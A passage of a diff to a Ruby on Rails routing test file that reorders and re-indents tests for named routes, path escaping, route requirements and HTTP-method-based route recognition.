- x = setup_for_named_route
- assert_equal("http://test.host/page",
- x.send(:my_page_url))
+ def test_named_route_without_hash
+ rs.draw do |map|
+ map.normal ':controller/:action/:id'
end
+ end
- def test_named_route_with_path_prefix
- rs.add_named_route :page, 'page', :controller => 'content', :action => 'show_page', :path_prefix => 'my'
- x = setup_for_named_route
- assert_equal("http://test.host/my/page",
- x.send(:page_url))
+ def test_named_route_root
+ rs.draw do |map|
+ map.root :controller => "hello"
end
+ x = setup_for_named_route
+ assert_equal("http://test.host/", x.send(:root_url))
+ assert_equal("/", x.send(:root_path))
+ end
- def test_named_route_with_nested_controller
- rs.add_named_route :users, 'admin/user', :controller => 'admin/user', :action => 'index'
- x = setup_for_named_route
- assert_equal("http://test.host/admin/user",
- x.send(:users_url))
+ def test_named_route_with_regexps
+ rs.draw do |map|
+ map.article 'page/:year/:month/:day/:title', :controller => 'page', :action => 'show',
+ :year => /\d+/, :month => /\d+/, :day => /\d+/
+ map.connect ':controller/:action/:id'
end
+ x = setup_for_named_route
+ # assert_equal(
+ # {:controller => 'page', :action => 'show', :title => 'hi', :use_route => :article, :only_path => false},
+ # x.send(:article_url, :title => 'hi')
+ # )
+ assert_equal(
+ "http://test.host/page/2005/6/10/hi",
+ x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
+ )
+ end
- def test_optimised_named_route_call_never_uses_url_for
- rs.add_named_route :users, 'admin/user', :controller => '/admin/user', :action => 'index'
- rs.add_named_route :user, 'admin/user/:id', :controller=>'/admin/user', :action=>'show'
- x = setup_for_named_route
- x.expects(:url_for).never
- x.send(:users_url)
- x.send(:users_path)
- x.send(:user_url, 2, :foo=>"bar")
- x.send(:user_path, 3, :bar=>"foo")
- end
+ def test_changing_controller
+ @rs.draw {|m| m.connect ':controller/:action/:id' }
- def test_optimised_named_route_with_host
- rs.add_named_route :pages, 'pages', :controller => 'content', :action => 'show_page', :host => 'foo.com'
- x = setup_for_named_route
- x.expects(:url_for).with(:host => 'foo.com', :only_path => false, :controller => 'content', :action => 'show_page', :use_route => :pages).once
- x.send(:pages_url)
- end
+ assert_equal '/admin/stuff/show/10', rs.generate(
+ {:controller => 'stuff', :action => 'show', :id => 10},
+ {:controller => 'admin/user', :action => 'index'}
+ )
+ end
- def setup_for_named_route
- klass = Class.new(MockController)
- rs.install_helpers(klass)
- klass.new(rs)
+ def test_paths_escaped
+ rs.draw do |map|
+ map.path 'file/*path', :controller => 'content', :action => 'show_file'
+ map.connect ':controller/:action/:id'
end
- def test_named_route_without_hash
- rs.draw do |map|
- map.normal ':controller/:action/:id'
- end
- end
+ # No + to space in URI escaping, only for query params.
+ results = rs.recognize_path "/file/hello+world/how+are+you%3F"
+ assert results, "Recognition should have succeeded"
+ assert_equal ['hello+world', 'how+are+you?'], results[:path]
- def test_named_route_root
- rs.draw do |map|
- map.root :controller => "hello"
- end
- x = setup_for_named_route
- assert_equal("http://test.host/", x.send(:root_url))
- assert_equal("/", x.send(:root_path))
- end
+ # Use %20 for space instead.
+ results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
+ assert results, "Recognition should have succeeded"
+ assert_equal ['hello world', 'how are you?'], results[:path]
- def test_named_route_with_regexps
- rs.draw do |map|
- map.article 'page/:year/:month/:day/:title', :controller => 'page', :action => 'show',
- :year => /\d+/, :month => /\d+/, :day => /\d+/
- map.connect ':controller/:action/:id'
- end
- x = setup_for_named_route
- # assert_equal(
- # {:controller => 'page', :action => 'show', :title => 'hi', :use_route => :article, :only_path => false},
- # x.send(:article_url, :title => 'hi')
- # )
- assert_equal(
- "http://test.host/page/2005/6/10/hi",
- x.send(:article_url, :title => 'hi', :day => 10, :year => 2005, :month => 6)
- )
- end
+ results = rs.recognize_path "/file"
+ assert results, "Recognition should have succeeded"
+ assert_equal [], results[:path]
+ end
- def test_changing_controller
- @rs.draw {|m| m.connect ':controller/:action/:id' }
+ def test_paths_slashes_unescaped_with_ordered_parameters
+ rs.add_named_route :path, '/file/*path', :controller => 'content'
- assert_equal '/admin/stuff/show/10', rs.generate(
- {:controller => 'stuff', :action => 'show', :id => 10},
- {:controller => 'admin/user', :action => 'index'}
- )
+ # No / to %2F in URI, only for query params.
+ x = setup_for_named_route
+ assert_equal("/file/hello/world", x.send(:path_path, 'hello/world'))
+ end
+
+ def test_non_controllers_cannot_be_matched
+ rs.draw do |map|
+ map.connect ':controller/:action/:id'
end
+ assert_raise(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
+ end
- def test_paths_escaped
+ def test_paths_do_not_accept_defaults
+ assert_raise(ActionController::RoutingError) do
rs.draw do |map|
- map.path 'file/*path', :controller => 'content', :action => 'show_file'
+ map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => %w(fake default)
map.connect ':controller/:action/:id'
end
-
- # No + to space in URI escaping, only for query params.
- results = rs.recognize_path "/file/hello+world/how+are+you%3F"
- assert results, "Recognition should have succeeded"
- assert_equal ['hello+world', 'how+are+you?'], results[:path]
-
- # Use %20 for space instead.
- results = rs.recognize_path "/file/hello%20world/how%20are%20you%3F"
- assert results, "Recognition should have succeeded"
- assert_equal ['hello world', 'how are you?'], results[:path]
-
- results = rs.recognize_path "/file"
- assert results, "Recognition should have succeeded"
- assert_equal [], results[:path]
end
- def test_paths_slashes_unescaped_with_ordered_parameters
- rs.add_named_route :path, '/file/*path', :controller => 'content'
-
- # No / to %2F in URI, only for query params.
- x = setup_for_named_route
- assert_equal("/file/hello/world", x.send(:path_path, 'hello/world'))
+ rs.draw do |map|
+ map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => []
+ map.connect ':controller/:action/:id'
end
+ end
- def test_non_controllers_cannot_be_matched
- rs.draw do |map|
- map.connect ':controller/:action/:id'
- end
- assert_raises(ActionController::RoutingError) { rs.recognize_path("/not_a/show/10") }
+ def test_should_list_options_diff_when_routing_requirements_dont_match
+ rs.draw do |map|
+ map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
end
+ exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post") }
+ assert_match /^post_url failed to generate/, exception.message
+ from_match = exception.message.match(/from \{[^\}]+\}/).to_s
+ assert_match /:bad_param=>"foo"/, from_match
+ assert_match /:action=>"show"/, from_match
+ assert_match /:controller=>"post"/, from_match
- def test_paths_do_not_accept_defaults
- assert_raises(ActionController::RoutingError) do
- rs.draw do |map|
- map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => %w(fake default)
- map.connect ':controller/:action/:id'
- end
- end
+ expected_match = exception.message.match(/expected: \{[^\}]+\}/).to_s
+ assert_no_match /:bad_param=>"foo"/, expected_match
+ assert_match /:action=>"show"/, expected_match
+ assert_match /:controller=>"post"/, expected_match
- rs.draw do |map|
- map.path 'file/*path', :controller => 'content', :action => 'show_file', :path => []
- map.connect ':controller/:action/:id'
- end
+ diff_match = exception.message.match(/diff: \{[^\}]+\}/).to_s
+ assert_match /:bad_param=>"foo"/, diff_match
+ assert_no_match /:action=>"show"/, diff_match
+ assert_no_match /:controller=>"post"/, diff_match
+ end
+
+ # this specifies the case where your formerly would get a very confusing error message with an empty diff
+ def test_should_have_better_error_message_when_options_diff_is_empty
+ rs.draw do |map|
+ map.content '/content/:query', :controller => 'content', :action => 'show'
end
- def test_should_list_options_diff_when_routing_requirements_dont_match
- rs.draw do |map|
- map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
- end
- exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'post', :action => 'show', :bad_param => "foo", :use_route => "post") }
- assert_match /^post_url failed to generate/, exception.message
- from_match = exception.message.match(/from \{[^\}]+\}/).to_s
- assert_match /:bad_param=>"foo"/, from_match
- assert_match /:action=>"show"/, from_match
- assert_match /:controller=>"post"/, from_match
-
- expected_match = exception.message.match(/expected: \{[^\}]+\}/).to_s
- assert_no_match /:bad_param=>"foo"/, expected_match
- assert_match /:action=>"show"/, expected_match
- assert_match /:controller=>"post"/, expected_match
-
- diff_match = exception.message.match(/diff: \{[^\}]+\}/).to_s
- assert_match /:bad_param=>"foo"/, diff_match
- assert_no_match /:action=>"show"/, diff_match
- assert_no_match /:controller=>"post"/, diff_match
- end
-
- # this specifies the case where your formerly would get a very confusing error message with an empty diff
- def test_should_have_better_error_message_when_options_diff_is_empty
- rs.draw do |map|
- map.content '/content/:query', :controller => 'content', :action => 'show'
- end
+ exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'content', :action => 'show', :use_route => "content") }
+ assert_match %r[:action=>"show"], exception.message
+ assert_match %r[:controller=>"content"], exception.message
+ assert_match %r[you may have ambiguous routes, or you may need to supply additional parameters for this route], exception.message
+ assert_match %r[content_url has the following required parameters: \["content", :query\] - are they all satisfied?], exception.message
+ end
- exception = assert_raise(ActionController::RoutingError) { rs.generate(:controller => 'content', :action => 'show', :use_route => "content") }
- assert_match %r[:action=>"show"], exception.message
- assert_match %r[:controller=>"content"], exception.message
- assert_match %r[you may have ambiguous routes, or you may need to supply additional parameters for this route], exception.message
- assert_match %r[content_url has the following required parameters: \["content", :query\] - are they all satisfied?], exception.message
+ def test_dynamic_path_allowed
+ rs.draw do |map|
+ map.connect '*path', :controller => 'content', :action => 'show_file'
end
- def test_dynamic_path_allowed
- rs.draw do |map|
- map.connect '*path', :controller => 'content', :action => 'show_file'
- end
+ assert_equal '/pages/boo', rs.generate(:controller => 'content', :action => 'show_file', :path => %w(pages boo))
+ end
- assert_equal '/pages/boo', rs.generate(:controller => 'content', :action => 'show_file', :path => %w(pages boo))
+ def test_dynamic_recall_paths_allowed
+ rs.draw do |map|
+ map.connect '*path', :controller => 'content', :action => 'show_file'
end
- def test_dynamic_recall_paths_allowed
- rs.draw do |map|
- map.connect '*path', :controller => 'content', :action => 'show_file'
- end
+ recall_path = ActionController::Routing::PathSegment::Result.new(%w(pages boo))
+ assert_equal '/pages/boo', rs.generate({}, :controller => 'content', :action => 'show_file', :path => recall_path)
+ end
- recall_path = ActionController::Routing::PathSegment::Result.new(%w(pages boo))
- assert_equal '/pages/boo', rs.generate({}, :controller => 'content', :action => 'show_file', :path => recall_path)
+ def test_backwards
+ rs.draw do |map|
+ map.connect 'page/:id/:action', :controller => 'pages', :action => 'show'
+ map.connect ':controller/:action/:id'
end
- def test_backwards
- rs.draw do |map|
- map.connect 'page/:id/:action', :controller => 'pages', :action => 'show'
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/page/20', rs.generate({:id => 20}, {:controller => 'pages', :action => 'show'})
+ assert_equal '/page/20', rs.generate(:controller => 'pages', :id => 20, :action => 'show')
+ assert_equal '/pages/boo', rs.generate(:controller => 'pages', :action => 'boo')
+ end
- assert_equal '/page/20', rs.generate({:id => 20}, {:controller => 'pages', :action => 'show'})
- assert_equal '/page/20', rs.generate(:controller => 'pages', :id => 20, :action => 'show')
- assert_equal '/pages/boo', rs.generate(:controller => 'pages', :action => 'boo')
+ def test_route_with_fixnum_default
+ rs.draw do |map|
+ map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
+ map.connect ':controller/:action/:id'
end
- def test_route_with_fixnum_default
- rs.draw do |map|
- map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page')
+ assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => 1)
+ assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => '1')
+ assert_equal '/page/10', rs.generate(:controller => 'content', :action => 'show_page', :id => 10)
- assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page')
- assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => 1)
- assert_equal '/page', rs.generate(:controller => 'content', :action => 'show_page', :id => '1')
- assert_equal '/page/10', rs.generate(:controller => 'content', :action => 'show_page', :id => 10)
+ assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page"))
+ assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
+ assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
+ end
- assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page"))
- assert_equal({:controller => "content", :action => 'show_page', :id => '1'}, rs.recognize_path("/page/1"))
- assert_equal({:controller => "content", :action => 'show_page', :id => '10'}, rs.recognize_path("/page/10"))
+ # For newer revision
+ def test_route_with_text_default
+ rs.draw do |map|
+ map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
+ map.connect ':controller/:action/:id'
end
- # For newer revision
- def test_route_with_text_default
- rs.draw do |map|
- map.connect 'page/:id', :controller => 'content', :action => 'show_page', :id => 1
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/page/foo', rs.generate(:controller => 'content', :action => 'show_page', :id => 'foo')
+ assert_equal({:controller => "content", :action => 'show_page', :id => 'foo'}, rs.recognize_path("/page/foo"))
- assert_equal '/page/foo', rs.generate(:controller => 'content', :action => 'show_page', :id => 'foo')
- assert_equal({:controller => "content", :action => 'show_page', :id => 'foo'}, rs.recognize_path("/page/foo"))
+ token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in russian
+ token.force_encoding("UTF-8") if token.respond_to?(:force_encoding)
+ escaped_token = CGI::escape(token)
- token = "\321\202\320\265\320\272\321\201\321\202" # 'text' in russian
- escaped_token = CGI::escape(token)
+ assert_equal '/page/' + escaped_token, rs.generate(:controller => 'content', :action => 'show_page', :id => token)
+ assert_equal({:controller => "content", :action => 'show_page', :id => token}, rs.recognize_path("/page/#{escaped_token}"))
+ end
- assert_equal '/page/' + escaped_token, rs.generate(:controller => 'content', :action => 'show_page', :id => token)
- assert_equal({:controller => "content", :action => 'show_page', :id => token}, rs.recognize_path("/page/#{escaped_token}"))
- end
+ def test_action_expiry
+ @rs.draw {|m| m.connect ':controller/:action/:id' }
+ assert_equal '/content', rs.generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
+ end
- def test_action_expiry
- @rs.draw {|m| m.connect ':controller/:action/:id' }
- assert_equal '/content', rs.generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
- end
+ def test_recognition_with_uppercase_controller_name
+ @rs.draw {|m| m.connect ':controller/:action/:id' }
+ assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/Content"))
+ assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/ConTent/list"))
+ assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/CONTENT/show/10"))
- def test_recognition_with_uppercase_controller_name
- @rs.draw {|m| m.connect ':controller/:action/:id' }
- assert_equal({:controller => "content", :action => 'index'}, rs.recognize_path("/Content"))
- assert_equal({:controller => "content", :action => 'list'}, rs.recognize_path("/ConTent/list"))
- assert_equal({:controller => "content", :action => 'show', :id => '10'}, rs.recognize_path("/CONTENT/show/10"))
+ # these used to work, before the routes rewrite, but support for this was pulled in the new version...
+ #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/NewsFeed"))
+ #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/News_Feed"))
+ end
- # these used to work, before the routes rewrite, but support for this was pulled in the new version...
- #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/NewsFeed"))
- #assert_equal({'controller' => "admin/news_feed", 'action' => 'index'}, rs.recognize_path("Admin/News_Feed"))
+ def test_requirement_should_prevent_optional_id
+ rs.draw do |map|
+ map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
end
- def test_requirement_should_prevent_optional_id
- rs.draw do |map|
- map.post 'post/:id', :controller=> 'post', :action=> 'show', :requirements => {:id => /\d+/}
- end
+ assert_equal '/post/10', rs.generate(:controller => 'post', :action => 'show', :id => 10)
- assert_equal '/post/10', rs.generate(:controller => 'post', :action => 'show', :id => 10)
+ assert_raise ActionController::RoutingError do
+ rs.generate(:controller => 'post', :action => 'show')
+ end
+ end
- assert_raises ActionController::RoutingError do
- rs.generate(:controller => 'post', :action => 'show')
- end
+ def test_both_requirement_and_optional
+ rs.draw do |map|
+ map.blog('test/:year', :controller => 'post', :action => 'show',
+ :defaults => { :year => nil },
+ :requirements => { :year => /\d{4}/ }
+ )
+ map.connect ':controller/:action/:id'
end
- def test_both_requirement_and_optional
- rs.draw do |map|
- map.blog('test/:year', :controller => 'post', :action => 'show',
- :defaults => { :year => nil },
- :requirements => { :year => /\d{4}/ }
- )
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/test', rs.generate(:controller => 'post', :action => 'show')
+ assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
- assert_equal '/test', rs.generate(:controller => 'post', :action => 'show')
- assert_equal '/test', rs.generate(:controller => 'post', :action => 'show', :year => nil)
+ x = setup_for_named_route
+ assert_equal("http://test.host/test",
+ x.send(:blog_url))
+ end
- x = setup_for_named_route
- assert_equal("http://test.host/test",
- x.send(:blog_url))
+ def test_set_to_nil_forgets
+ rs.draw do |map|
+ map.connect 'pages/:year/:month/:day', :controller => 'content', :action => 'list_pages', :month => nil, :day => nil
+ map.connect ':controller/:action/:id'
end
- def test_set_to_nil_forgets
- rs.draw do |map|
- map.connect 'pages/:year/:month/:day', :controller => 'content', :action => 'list_pages', :month => nil, :day => nil
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/pages/2005',
+ rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005)
+ assert_equal '/pages/2005/6',
+ rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6)
+ assert_equal '/pages/2005/6/12',
+ rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12)
- assert_equal '/pages/2005',
- rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005)
- assert_equal '/pages/2005/6',
- rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6)
- assert_equal '/pages/2005/6/12',
- rs.generate(:controller => 'content', :action => 'list_pages', :year => 2005, :month => 6, :day => 12)
+ assert_equal '/pages/2005/6/4',
+ rs.generate({:day => 4}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
- assert_equal '/pages/2005/6/4',
- rs.generate({:day => 4}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+ assert_equal '/pages/2005/6',
+ rs.generate({:day => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
- assert_equal '/pages/2005/6',
- rs.generate({:day => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+ assert_equal '/pages/2005',
+ rs.generate({:day => nil, :month => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+ end
- assert_equal '/pages/2005',
- rs.generate({:day => nil, :month => nil}, {:controller => 'content', :action => 'list_pages', :year => '2005', :month => '6', :day => '12'})
+ def test_url_with_no_action_specified
+ rs.draw do |map|
+ map.connect '', :controller => 'content'
+ map.connect ':controller/:action/:id'
end
- def test_url_with_no_action_specified
- rs.draw do |map|
- map.connect '', :controller => 'content'
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
+ assert_equal '/', rs.generate(:controller => 'content')
+ end
- assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
- assert_equal '/', rs.generate(:controller => 'content')
+ def test_named_url_with_no_action_specified
+ rs.draw do |map|
+ map.home '', :controller => 'content'
+ map.connect ':controller/:action/:id'
end
- def test_named_url_with_no_action_specified
+ assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
+ assert_equal '/', rs.generate(:controller => 'content')
+
+ x = setup_for_named_route
+ assert_equal("http://test.host/",
+ x.send(:home_url))
+ end
+
+ def test_url_generated_when_forgetting_action
+ [{:controller => 'content', :action => 'index'}, {:controller => 'content'}].each do |hash|
rs.draw do |map|
- map.home '', :controller => 'content'
+ map.home '', hash
map.connect ':controller/:action/:id'
end
-
- assert_equal '/', rs.generate(:controller => 'content', :action => 'index')
- assert_equal '/', rs.generate(:controller => 'content')
-
- x = setup_for_named_route
- assert_equal("http://test.host/",
- x.send(:home_url))
+ assert_equal '/', rs.generate({:action => nil}, {:controller => 'content', :action => 'hello'})
+ assert_equal '/', rs.generate({:controller => 'content'})
+ assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
end
+ end
- def test_url_generated_when_forgetting_action
- [{:controller => 'content', :action => 'index'}, {:controller => 'content'}].each do |hash|
- rs.draw do |map|
- map.home '', hash
- map.connect ':controller/:action/:id'
- end
- assert_equal '/', rs.generate({:action => nil}, {:controller => 'content', :action => 'hello'})
- assert_equal '/', rs.generate({:controller => 'content'})
- assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
- end
+ def test_named_route_method
+ rs.draw do |map|
+ map.categories 'categories', :controller => 'content', :action => 'categories'
+ map.connect ':controller/:action/:id'
end
- def test_named_route_method
- rs.draw do |map|
- map.categories 'categories', :controller => 'content', :action => 'categories'
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/categories', rs.generate(:controller => 'content', :action => 'categories')
+ assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
+ end
- assert_equal '/categories', rs.generate(:controller => 'content', :action => 'categories')
- assert_equal '/content/hi', rs.generate({:controller => 'content', :action => 'hi'})
- end
+ def test_named_routes_array
+ test_named_route_method
+ assert_equal [:categories], rs.named_routes.names
+ end
- def test_named_routes_array
- test_named_route_method
- assert_equal [:categories], rs.named_routes.names
+ def test_nil_defaults
+ rs.draw do |map|
+ map.connect 'journal',
+ :controller => 'content',
+ :action => 'list_journal',
+ :date => nil, :user_id => nil
+ map.connect ':controller/:action/:id'
end
- def test_nil_defaults
- rs.draw do |map|
- map.connect 'journal',
- :controller => 'content',
- :action => 'list_journal',
- :date => nil, :user_id => nil
- map.connect ':controller/:action/:id'
- end
+ assert_equal '/journal', rs.generate(:controller => 'content', :action => 'list_journal', :date => nil, :user_id => nil)
+ end
+
+ def setup_request_method_routes_for(method)
+ @request = ActionController::TestRequest.new
+ @request.env["REQUEST_METHOD"] = method
+ @request.request_uri = "/match"
- assert_equal '/journal', rs.generate(:controller => 'content', :action => 'list_journal', :date => nil, :user_id => nil)
+ rs.draw do |r|
+ r.connect '/match', :controller => 'books', :action => 'get', :conditions => { :method => :get }
+ r.connect '/match', :controller => 'books', :action => 'post', :conditions => { :method => :post }
+ r.connect '/match', :controller => 'books', :action => 'put', :conditions => { :method => :put }
+ r.connect '/match', :controller => 'books', :action => 'delete', :conditions => { :method => :delete }
end
+ end
+
+ %w(GET POST PUT DELETE).each do |request_method|
+ define_method("test_request_method_recognized_with_#{request_method}") do
+ begin
+ Object.const_set(:BooksController, Class.new(ActionController::Base))
- def setup_request_method_routes_for(method)
- @request = ActionController::TestRequest.new
- @request.env["REQUEST_METHOD"] = method
- @request.request_uri = "/match"
+ setup_request_method_routes_for(request_method)
- rs.draw do |r|
- r.connect '/match', :controller => 'books', :action => 'get', :conditions => { :method => :get }
- r.connect '/match', :controller => 'books', :action => 'post', :conditions => { :method => :post }
- r.connect '/match', :controller => 'books', :action => 'put', :conditions => { :method => :put }
- r.connect '/match', :controller => 'books', :action => 'delete', :conditions => { :method => :delete }
+ assert_nothing_raised { rs.recognize(@request) }
+ assert_equal request_method.downcase, @request.path_parameters[:action]
+ ensure
+ Object.send(:remove_const, :BooksController) rescue nil
end
end
+ end
- %w(GET POST PUT DELETE).each do |request_method|
- define_method("test_request_method_recognized_with_#{request_method}") do
- begin
- Object.const_set(:BooksController, Class.new(ActionController::Base))
+ def test_recognize_array_of_methods
+ Object.const_set(:BooksController, Class.new(ActionController::Base))
+ rs.draw do |r|
+ r.connect '/match', :controller => 'books', :action => 'get_or_post', :conditions => { :method => [:get, :post] }
+ r.connect '/match', :controller => 'books', :action => 'not_get_or_post'
+ end
- setup_request_method_routes_for(request_method)
+ @request = ActionController::TestRequest.new
+ @request.env["REQUEST_METHOD"] = 'POST'
+ @request.request_uri = "/match"
+ assert_nothing_raised { rs.recognize(@request) }
+ assert_equal 'get_or_post', @request.path_parameters[:action]
- assert_nothing_raised { rs.recognize(@request) }
- assert_equal request_method.downcase, @request.path_parameters[:action]
- ensure
- Object.send(:remove_const, :BooksController) rescue nil
- end
- end
+ # have to recreate or else the RouteSet uses a cached version:
+ @request = ActionController::TestRequest.new
+ @request.env["REQUEST_METHOD"] = 'PUT'
+ @request.request_uri = "/match"
+ assert_nothing_raised { rs.recognize(@request) }
+ assert_equal 'not_get_or_post', @request.path_parameters[:action]
+ ensure
+ Object.send(:remove_const, :BooksController) rescue nil
+ end
+
+ def test_subpath_recognized
+ Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
+
+ rs.draw do |r|
+ r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
+ r.connect '/items/:id/:action', :controller => 'subpath_books'
+ r.connect '/posts/new/:action', :controller => 'subpath_books'
+ r.connect '/posts/:id', :controller => 'subpath_books', :action => "show"
end
- def test_recognize_array_of_methods
- Object.const_set(:BooksController, Class.new(ActionController::Base))
- rs.draw do |r|
- r.connect '/match', :controller => 'books', :action => 'get_or_post', :conditions => { :method => [:get, :post] }
- r.connect '/match', :controller => 'books', :action => 'not_get_or_post'
- end
+ hash = rs.recognize_path "/books/17/edit"
+ assert_not_nil hash
+ assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
- @request = ActionController::TestRequest.new
- @request.env["REQUEST_METHOD"] = 'POST'
- @request.request_uri = "/match"
- assert_nothing_raised { rs.recognize(@request) }
- assert_equal 'get_or_post', @request.path_parameters[:action]
-
- # have to recreate or else the RouteSet uses a cached version:
- @request = ActionController::TestRequest.new
- @request.env["REQUEST_METHOD"] = 'PUT'
- @request.request_uri = "/match"
- assert_nothing_raised { rs.recognize(@request) }
- assert_equal 'not_get_or_post', @request.path_parameters[:action]
- ensure
- Object.send(:remove_const, :BooksController) rescue nil
- end
-
- def test_subpath_recognized
- Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
-
- rs.draw do |r|
- r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
- r.connect '/items/:id/:action', :controller => 'subpath_books'
- r.connect '/posts/new/:action', :controller => 'subpath_books'
- r.connect '/posts/:id', :controller => 'subpath_books', :action => "show"
- end
+ hash = rs.recognize_path "/items/3/complete"
+ assert_not_nil hash
+ assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
- hash = rs.recognize_path "/books/17/edit"
- assert_not_nil hash
- assert_equal %w(subpath_books 17 edit), [hash[:controller], hash[:id], hash[:action]]
+ hash = rs.recognize_path "/posts/new/preview"
+ assert_not_nil hash
+ assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
- hash = rs.recognize_path "/items/3/complete"
- assert_not_nil hash
- assert_equal %w(subpath_books 3 complete), [hash[:controller], hash[:id], hash[:action]]
+ hash = rs.recognize_path "/posts/7"
+ assert_not_nil hash
+ assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
+ ensure
+ Object.send(:remove_const, :SubpathBooksController) rescue nil
+ end
- hash = rs.recognize_path "/posts/new/preview"
- assert_not_nil hash
- assert_equal %w(subpath_books preview), [hash[:controller], hash[:action]]
+ def test_subpath_generated
+ Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
- hash = rs.recognize_path "/posts/7"
- assert_not_nil hash
- assert_equal %w(subpath_books show 7), [hash[:controller], hash[:action], hash[:id]]
- ensure
- Object.send(:remove_const, :SubpathBooksController) rescue nil
+ rs.draw do |r|
+ r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
+ r.connect '/items/:id/:action', :controller => 'subpath_books'
+ r.connect '/posts/new/:action', :controller => 'subpath_books'
end
- def test_subpath_generated
- Object.const_set(:SubpathBooksController, Class.new(ActionController::Base))
-
- rs.draw do |r|
- r.connect '/books/:id/edit', :controller => 'subpath_books', :action => 'edit'
- r.connect '/items/:id/:action', :controller => 'subpath_books'
- r.connect '/posts/new/:action', :controller => 'subpath_books'
- end
+ assert_equal "/books/7/edit", rs.generate(:controller => "subpath_books", :id => 7, :action => "edit")
+ assert_equal "/items/15/complete", rs.generate(:controller => "subpath_books", :id => 15, :action => "complete")
+ assert_equal "/posts/new/preview", rs.generate(:controller => "subpath_books", :action => "preview")
+ ensure
+ Object.send(:remove_const, :SubpathBooksController) rescue nil
+ end
- assert_equal "/books/7/edit", rs.generate(:controller => "subpath_books", :id => 7, :action => "edit")
- assert_equal "/items/15/complete", rs.generate(:controller => "subpath_books", :id => 15, :action => "complete")
- assert_equal "/posts/new/preview", rs.generate(:controller => "subpath_books", :action => "preview")
- ensure
- Object.send(:remove_const, :SubpathBooksController) rescue nil
+ def test_failed_requirements_raises_exception_with_violated_requirements
+ rs.draw do |r|
+ r.foo_with_requirement 'foos/:id', :controller=>'foos', :requirements=>{:id=>/\d+/}
end
- def test_failed_requirements_raises_exception_with_violated_requirements
- rs.draw do |r|
- r.foo_with_requirement 'foos/:id', :controller=>'foos', :requirements=>{:id=>/\d+/}
- end
+ x = setup_for_named_route
+ assert_raise(ActionController::RoutingError) do
+ x.send(:foo_with_requirement_url, "I am Against the requirements")
+ end
+ end
- x = setup_for_named_route
- assert_raises(ActionController::RoutingError) do
- x.send(:foo_with_requirement_url, "I am Against the requirements")
- end
+ def test_routes_changed_correctly_after_clear
+ ActionController::Base.optimise_named_routes = true
+ rs = ::ActionController::Routing::RouteSet.new
+ rs.draw do |r|
